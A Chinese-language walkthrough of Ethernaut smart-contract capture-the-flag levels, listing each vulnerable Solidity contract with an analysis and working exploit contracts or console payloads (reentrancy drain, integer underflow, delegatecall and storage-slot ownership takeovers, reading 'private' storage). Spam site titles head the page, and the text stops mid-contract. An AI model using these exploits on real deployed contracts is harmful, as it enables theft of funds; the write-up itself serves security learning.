久久亚洲精品国产精品_羞羞漫画在线版免费阅读网页漫画_国产精品久久久久久久久久久久_午夜dj免费观看在线视频_希崎杰西卡番号

win10 mul

前沿拓展:


Ethernaut記錄Fallback題目描述

Look carefully at the contract's code below.

You will beat this level if

you claim ownership of the contract

you reduce its balance to 0

Things that might help

How to send ether when interacting with an ABI

How to send ether outside of the ABI

Converting to and from wei/ether units (see help() command)

Fallback methods

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallback {
?
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
?
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
?
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
?
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
?
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}分析

題目的目標是成為這個合約的owner,并且將合約的balance清零。

在源代碼中可以看到,成為合約的owner就代表著需要將合約中的owner賦值為我們的address,有三種方式:

1.調(diào)用contribute函數(shù)

2.調(diào)用receive函數(shù)

這里需要說明一下,constructor函數(shù)是合約的構(gòu)造函數(shù),是合約在初始化的時候建立的,而sender這個全局變量代表的是當前和合約交互的用戶。所以說,contructor函數(shù)的sender不可能是除了創(chuàng)建者之外后續(xù)用戶。

如要調(diào)用contribute函數(shù),則需要向合約轉(zhuǎn)賬,轉(zhuǎn)入的eth大于1000才可以成為onwer,而且每次只能轉(zhuǎn)小于0.001eth,顯然不可行。

那么如果調(diào)用receive函數(shù),只需要轉(zhuǎn)賬大于0即可成為owner。那么這個receive函數(shù)怎么調(diào)用呢?

這個函數(shù)明顯長得就和正常的函數(shù)不一樣,沒有function修飾。

這里的話第一解釋一下什么是fallback

https://me.tryblockchain.org/blockchain-solidity-fallback.html

也就是說,直接向合約轉(zhuǎn)賬,使用address.send(ether to send)向某個合約直接轉(zhuǎn)帳時,由于這個行為沒有發(fā)送任何數(shù)據(jù),所以接收合約總是會調(diào)用fallback函數(shù)。或者當調(diào)用函數(shù)找不到時就會調(diào)用fallback函數(shù)。

那么這個fallback和receive又有什么關(guān)系呢?在0.6以后的版本,fallback函數(shù)的寫法就不是這么寫了而是:

fallback() external {
}
receive() payable external {
currentBalance = currentBalance + msg.value;
}

fallback 和 receive 不是普通函數(shù),而是新的函數(shù)類型,有特別的含義,所以在它們前面加 function 這個關(guān)鍵字。加上 function 之后,它們就變成了一般的函數(shù),只能按一般函數(shù)來去調(diào)用。

每個合約最多有一個不帶任何參數(shù)不帶 function 關(guān)鍵字的 fallback 和 receive 函數(shù)。

receive 函數(shù)類型必須是 payable 的,并且里面的語句只有在通過外部地址往合約里轉(zhuǎn)賬的時候執(zhí)行。fallback 函數(shù)類型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合約發(fā)送非轉(zhuǎn)賬交易,如果交易里帶有轉(zhuǎn)賬信息,交易會被 revert;如果是 payable 的,自然也就可以接受轉(zhuǎn)賬了。

盡管 fallback 可以是 payable 的,但并不建議這么做,聲明為 payable 之后,其所消耗的 gas 最大量就會被限定在 2300。

也就是說,只要向合約轉(zhuǎn)賬,就會執(zhí)行receive函數(shù)。具體來說,就是調(diào)用contract.sendTransaction({value : 1})。

所以說,要成為owner要經(jīng)過以下兩個步驟:

1.調(diào)用contribute使contribution大于0

2.向合約轉(zhuǎn)賬,調(diào)用receive,成為owner。

成為owner后,還需要將合約的balance清零,這里需要調(diào)用withdraw函數(shù),也就是執(zhí)行這一句:

owner.transfer(address(this).balance);

this指針指向的是合約本身,這句話的意思就是合約向owner的地址轉(zhuǎn)帳合約所有的balance。

所以,最終的payload就是:

contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw() Fallout題目描述

Level completed!

Difficulty 2/10

Claim ownership of the contract below to complete this level.

Things that might help

Solidity Remix IDE代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
?
?
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
?
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
?
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
?
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}分析

提示是用ide看,問題就是他這個構(gòu)造函數(shù)其實不是構(gòu)造函數(shù),F(xiàn)al1out,直接調(diào)用即可。

過關(guān)后,會出現(xiàn)這樣一段話:

That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?

Well… Not quite.

The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:

contract Rubixi {address private owner;function DynamicPyramid() { owner = msg.sender; }function collectAllFees() { owner.transfer(this.balance) }…

This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in **artcontractland.

coin flip題目

需要連續(xù)十次猜中硬幣翻轉(zhuǎn)結(jié)果,猜對了就可以過關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract CoinFlip {
?
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}分析

可以看到,每一次猜的值都要與blockhash/factor進行一個比對。這里,blocknumber指的是當前交易的區(qū)塊編號,并不是合約所處的區(qū)塊編號。由于一個塊內(nèi)交易數(shù)量很多,所以我們就可以通過布置一個合約,使其交易行為與驗證的交易打包在一個塊中,這樣blockhash的值就可以提前算出來,重復(fù)十次即可過關(guān)

exp:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
?
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor (address aimAddr) public {
expFlip = CoinFlip(aimAddr);
}
?
function hack() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}telephone題目

需要成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}分析

這里肯定是調(diào)用changeOwner,知識點就在于tx.origin和msg.sender之間的區(qū)別。

tx.origin (address):交易發(fā)送方(完整的調(diào)用鏈)msg.sender (address):消息的發(fā)送方(當前調(diào)用)

可以認為,origin為源ip地址,sender為上一跳地址。

所以思路就是部署一個合約A,我們調(diào)用這個合約A,而這個合約A調(diào)用題目合約,即可完成利用。

Exp:

pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
?
Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);
?
function hack() public{
target.changeOwner(msg.sender);
}
}token題目

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Token {
?
mapping(address => uint) balances;
uint public totalSupply;
?
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
?
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] – _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
?
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}分析

uint整數(shù)溢出,不會小于0。

exp:

pragma solidity ^0.6.0;
?
?
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
}
?
contract Token {
address levelInstance;
?
constructor(address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function claim() public {
IToken(levelInstance).transfer(msg.sender, 999999999999999);
}
}delegation題目

成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Delegate {
?
address public owner;
?
constructor(address _owner) public {
owner = _owner;
}
?
function pwn() public {
owner = msg.sender;
}
}
?
contract Delegation {
?
address public owner;
Delegate delegate;
?
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
?
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}分析

有兩個合約,第一個delegate里面有個pwn函數(shù),可以直接獲得owner。第二個合約delegation實例化了delegate,并且定義了fallback函數(shù),里面通過delegeatecall調(diào)用delegate合約中的函數(shù)。

我們經(jīng)常會使用call函數(shù)與合約進行交互,對合約發(fā)送數(shù)據(jù),當然,call是一個較底層的接口,我們經(jīng)常會把它封裝在其他函數(shù)里使用,不過性質(zhì)是差不多的,這里用到的delegatecall跟call主要的不同在于通過delegatecall調(diào)用的目標地址的代碼要在當前合約的環(huán)境中執(zhí)行,也就是說它的函數(shù)執(zhí)行在被調(diào)用合約部分其實只用到了它的代碼,所以這個函數(shù)主要是方便我們使用存在其他地方的函數(shù),也是模塊化代碼的一種方法,然而這也很容易遭到破壞。用于調(diào)用其他合約的call類的函數(shù),其中的區(qū)別如下:1、call 的外部調(diào)用上下文是外部合約2、delegatecall 的外部調(diào)用上下是調(diào)用合約上下文

也就是說,我們在delegation里通過delegatecall調(diào)用delegate中的pwn函數(shù),pwn函數(shù)運行的上下文其實是delegation的環(huán)境。也就是說,此時執(zhí)行pwn的話,owner其實是delegation的owner而不是delegate的owner。

抽象點理解,call就是正常的call,而delegatecall可以理解為inline函數(shù)調(diào)用。

在這里我們要做的就是使用delegatecall調(diào)用delegate合約的pwn函數(shù),這里就涉及到使用call指定調(diào)用函數(shù)的**作,當你給call傳入的第一個參數(shù)是四個字節(jié)時,那么合約就會默認這四個字節(jié)就是你要調(diào)用的函數(shù),它會把這四個字節(jié)當作函數(shù)的id來尋找調(diào)用函數(shù),而一個函數(shù)的id在以太坊的函數(shù)選擇器的生成規(guī)則里就是其函數(shù)簽名的sha3的前4個bytes,函數(shù)前面就是帶有括號括起來的參數(shù)類型列表的函數(shù)名稱。

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});force題目

令合約的余額大于0即可通關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Force {/*
?
MEOW ?
/_/ /
____/ o o
/~____ =?= /
(______)__m_m)
?
*/}分析

沒有任何代碼的合約怎么接受eth?這里的話以太坊里我們是可以強制給一個合約發(fā)送eth的,不管它要不要它都得收下,這是通過selfdestruct函數(shù)來實現(xiàn)的,如它的名字所顯示的,這是一個自毀函數(shù),當你調(diào)用它的時候,它會使該合約無效化并刪除該地址的字節(jié)碼,第二它會把合約里剩余的資金發(fā)送給參數(shù)所指定的地址,比較特殊的是這筆資金的發(fā)送將無視合約的fallback函數(shù),因為我們之前也提到了當合約直接收到一筆不知如何處理的eth時會觸發(fā)fallback函數(shù),然而selfdestruct的發(fā)送將無視這一點。

所以思路就是搞一個合約出來,第二自毀,強制給題目合約eth。

contract Force {
address payable levelInstance;
?
constructor (address payable _levelInstance) public {
levelInstance = _levelInstance;
}
?
function give() public payable {
selfdestruct(levelInstance);
}
}vault題目

使得locked == false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Vault {
bool public locked;
bytes32 private password;
?
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
?
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}分析

主要就是猜密碼,看起來密碼被private保護,不能被訪問到,但是其實區(qū)塊鏈上所有東西都是透明的,只要我們知道它存儲的地方,就能訪問到查詢到。

使用web3的storageat函數(shù)即可查詢到特**置的數(shù)據(jù)信息。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});king題目

合同代表一個非常簡單的游戲:誰給它發(fā)送了比當前獎金還大的數(shù)量的以太,就成為新的國王。在這樣的**中,被推翻的國王獲得了新的獎金,但是如果你提交的話那么合約就會回退,讓level重新成為國王,而我們的目標就是阻止這一情況的發(fā)生。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract King {
?
address payable king;
uint public prize;
address payable public owner;
?
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
?
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
?
function _king() public view returns (address payable) {
return king;
}
}分析

主要看receive函數(shù),邏輯是先轉(zhuǎn)賬第二再更新king和prize,所以說,如果我們使得程序斷在接受上,即可使得king不被更新。

所以代碼是這樣:

pragma solidity ^0.6.0;
?
contract attack{
constructor(address _addr) public payable{
_addr.call{value : msg.value}("");
}
receive() external payable{
revert();
}
}

接受函數(shù)邏輯就是直接revert,這樣攻擊合約只要發(fā)生了轉(zhuǎn)賬,就會中止執(zhí)行,這樣transfer就不會成功,king也就不會更新。

reentrancy題目

盜取合約中所有余額

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;
?
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
?
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
?
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
?
receive() external payable {}
}分析

這個題目是很著名的re-entrance攻擊,也就是重入攻擊。漏洞點在于withdraw函數(shù)??梢钥吹剿窍日{(diào)用了msg.sender.call{value:_amount}("");第二再在balance里面將存儲的余額減去amount。這里就是可重入攻擊的關(guān)鍵所在了,因為該函數(shù)在發(fā)送ether后才更新余額,所以我們可以想辦法讓它卡在call.value這里不斷給我們發(fā)送ether,因為call的參數(shù)是空,所以會調(diào)用攻擊合約的fallback函數(shù),我們在fallback函數(shù)里面再次調(diào)用withdraw,這樣套娃,就能將合約里面的錢都偷出來。

pragma solidity ^0.8.0;
?
interface IReentrance {
function withdraw(uint256 _amount) external;
}
?
contract Reentrance {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function claim(uint256 _amount) public {
IReentrance(levelInstance).withdraw(_amount);
}
?
fallback() external payable {
IReentrance(levelInstance).withdraw(msg.value);
}
}elevator題目

另top==true

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
interface Building {
function isLastFloor(uint) external returns (bool);
}
?
?
contract Elevator {
bool public top;
uint public floor;
?
function goTo(uint _floor) public {
Building building = Building(msg.sender);
?
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}分析

合約并沒有實現(xiàn)building,需要我們自己定義。從程序的分析來看,top不可能為true。所以我們需要在實現(xiàn)building的時候搞點事情,也就是第一次搞成false,第二次調(diào)用搞成true就好。

pragma solidity ^0.8.0;
?
interface IElevator {
function goTo(uint256 _floor) external;
}
?
contract Elevator {
address levelInstance;
bool side = true;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function isLastFloor(uint256) external returns (bool) {
side = !side;
return side;
}
?
function go() public {
IElevator(levelInstance).goTo(1);
}
}privacy題目

將locked成為false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Privacy {
?
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
?
constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
?
/*
A bunch of super a**anced solidity algorithms…
?
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,—/V
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}分析

和那個vault一樣,只不過這次的data需要確**置。

根據(jù)32bytes一格的標準,劃分如下

//slot 0
bool public locked = true;
//slot 1
uint256 public constant ID = block.timestamp;
//slot 2
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);//2 字節(jié)
//slot 3-5
bytes32[3] private data;

所以最終的data[2]就在slot5

所以最終查詢:

web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})naughty coin題目

NaughtCoin是一個ERC20代幣,你已經(jīng)擁有了所有的代幣。但是你只能在10年的后才能將他們轉(zhuǎn)移。你需要想出辦法把它們送到另一個地址,這樣你就可以把它們自由地轉(zhuǎn)移嗎,讓后通過將token余額置為0來完成此級別。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
?
contract NaughtCoin is ERC20 {
?
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
?
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
?
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}分析

代碼重載了EC20類,但是沒有完全重載完,所以說可以直接調(diào)用ec20里面的函數(shù)進行轉(zhuǎn)賬。

contract.approve(player,toWei("1000000"))
contract.transferFrom(player,contract.address,toWei("1000000"))preservation題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Preservation {
?
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
?
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
?
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
?
// Simple library contract to set the time
contract LibraryContract {
?
// stores a timestamp
uint storedTime;
?
function setTime(uint _time) public {
storedTime = _time;
}
}分析

漏洞點還是在delegatecall上,由于不會改變上下文,所以說settime函數(shù)中,將storedtime賦值為time,如果delegatecall調(diào)用,其實是把slot1中的數(shù)據(jù)賦值為time。

所以說第一次setfirsttime將timezone1改掉,改成我們攻擊合約地址,這樣就可以調(diào)用魔改的settime函數(shù)。,第二就可以把owner改掉了。

攻擊合約代碼:

pragma solidity ^0.8.0;
?
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
?
function setTime(uint256 player) public {
owner = address(uint160(player));
}
}

攻擊流程:

contract.setFirstTime(攻擊合約地址)
contract.setFirstTime(player)recovery題目

合約的創(chuàng)建者已經(jīng)構(gòu)建了一個非常簡單的合約示例。任何人都可以輕松地創(chuàng)建新的代幣。部署第一個令牌合約后,創(chuàng)建者發(fā)送了0.5ether以獲取更多token。后來他們失去了合同地址。目的是從丟失的合同地址中恢復(fù)(或移除)0.5ether。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Recovery {
?
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}
?
contract SimpleToken {
?
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
?
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
?
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
?
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
?
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}分析

主要的難點就是找不到合約的地址,不過所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask錢包里面查看交易就能獲得合約的地址。找到合約地址后調(diào)用destroy函數(shù)就行。

pragma solidity ^0.8.0;
?
interface ISimpleToken {
function destroy(address payable _to) external;
}
?
contract SimpleToken {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function withdraw() public {
ISimpleToken(levelInstance).destroy(payable(msg.sender));
}
}Alien Codex題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
?
import '../helpers/Ownable-05.sol';
?
contract AlienCodex is Ownable {
?
bool public contact;
bytes32[] public codex;
?
modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}
?
function record(bytes32 _content) contacted public {
codex.push(_content);
}
?
function retract() contacted public {
codex.length–;
}
?
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}分析

合約引入了ownable,這樣合約中就多了個owner變量,這個變量經(jīng)過查詢是在slot 0中。

win10 mul

前十六個字節(jié)是contact

win10 mul

win10 mul

可以看到調(diào)用完makecontact就變成1了。

在這個合約里面,可以指定下標元素賦值,且沒有檢查。所以說我們只需要計算出codex數(shù)組和slot0的距離即可改變owner。

codex是一個32bytes的數(shù)組,在slot1中存儲著他的長度。我們要計算出一個元素的下標,如果下標溢出,則會存儲到slot0中。

在Solidity中動態(tài)數(shù)組內(nèi)變量的存儲位計算方法可以概括為:b[X] == SLOAD(keccak256(slot) + X),在這個合約中,開頭的slot為1,也就是他的長度。(換句話說,數(shù)組中某個元素的slot = keccak(slot數(shù)組)+ index)

因此第一個元素位于slot keccak256(1) + 0,第二個元素位于slot keccak256(1) + 1,以此類推。

所以我們要計算的下標就是令2^256 = keccak256(slot) + index,即index = 2^256 – keccak256(slot)

攻擊代碼:

pragma solidity ^0.8.0;
?
interface IAlienCodex {
function revise(uint i, bytes32 _content) external;
}
?
contract AlienCodex {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
}

function claim() public {
unchecked{
uint index = uint256(2)**uint256(256) – uint256(keccak256(abi.encodePacked(uint256(1))));
IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
}
}
?
}denial題目

阻止其他人從合約中withdraw。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Denial {
?
using SafeMath for uint256;
address public partner; // withdrawal partner – pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
?
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
?
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
?
// allow deposit of funds
receive() external payable {}
?
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}分析

其實看到了call函數(shù)形式的轉(zhuǎn)賬就猜到差不多了,就是fallback函數(shù)的利用。在fallback函數(shù)中遞歸的調(diào)用wiithdraw函數(shù),這樣直到gas用光,就達到目的了。

pragma solidity ^0.8.0;
?
interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
}
?
contract Denial {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
fallback() external payable {
IDenial(levelInstance).withdraw();
}
?
function set() public {
IDenial(levelInstance).setWithdrawPartner(address(this));
}
}gatekeeper1題目

pass三個check

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract GatekeeperOne {
?
using SafeMath for uint256;
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

第一個check直接用合約交互即可。

第三個check實際上是個截斷問題,也就是說0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff

主要的難點在于第二個check,需要設(shè)定執(zhí)行到gatetwo時的gasleft % 8191 == 0。

達到這個有兩個方式,第一種方式是把原本題目合約扒下來,放到debug測試網(wǎng)絡(luò),第二攻擊合約與其交互,在debug中看下gasleft是多少第二調(diào)整算出需要的gasleft。但是不同編譯器版本編譯出的合約所耗費的gas并不相同,按照medium網(wǎng)站上說的方式到etherscan上查了下合約信息,由于沒有上傳源碼并不能得到題目合約的 編譯器版本,所以盡管我們在debug環(huán)境下算出了符合條件的gas,仍然不能保證會成功。

第二種方式就比較暴力,直接寫一個for循環(huán),每次的gas都從一個值遞增1,這樣一定會遇到一個符合條件的gas。

pragma solidity ^0.6.0;
import './SafeMath.sol';
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperOne {
address levelInstance;
?
constructor (address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function open() public {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i = 0; i < 8191 ;i++)
{
// IGatekeeperOne(levelInstance).enter{gas: 114928}(key);
levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));
}
?
}
}magicnumber題目

要求使用總長度不超過10的bytecode編寫出一個合約,返回值為42.

代碼pragma solidity ^0.4.24;
?
contract MagicNum {
?
address public solver;
?
constructor() public {}
?
function setSolver(address _solver) public {
solver = _solver;
}
?
/*
____________/\_______/\\\\_____
__________/\\_____/\///////\___
________/\/\____///______//\__
______/\//\______________/\/___
____/\/__/\___________/\//_____
__/\\\\\\\\_____/\//________
_///////////\//____/\/___________
___________/\_____/\\\\\\\_
___________///_____///////////////__
*/
}分析

主要參考這個鏈接,說的也比較詳細:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

值得注意的一點是合約代碼的長度是不會算構(gòu)造函數(shù)以及構(gòu)造合約的init函數(shù)的。

gatekeeper2題目

過三個檢查

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract GatekeeperTwo {
?
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
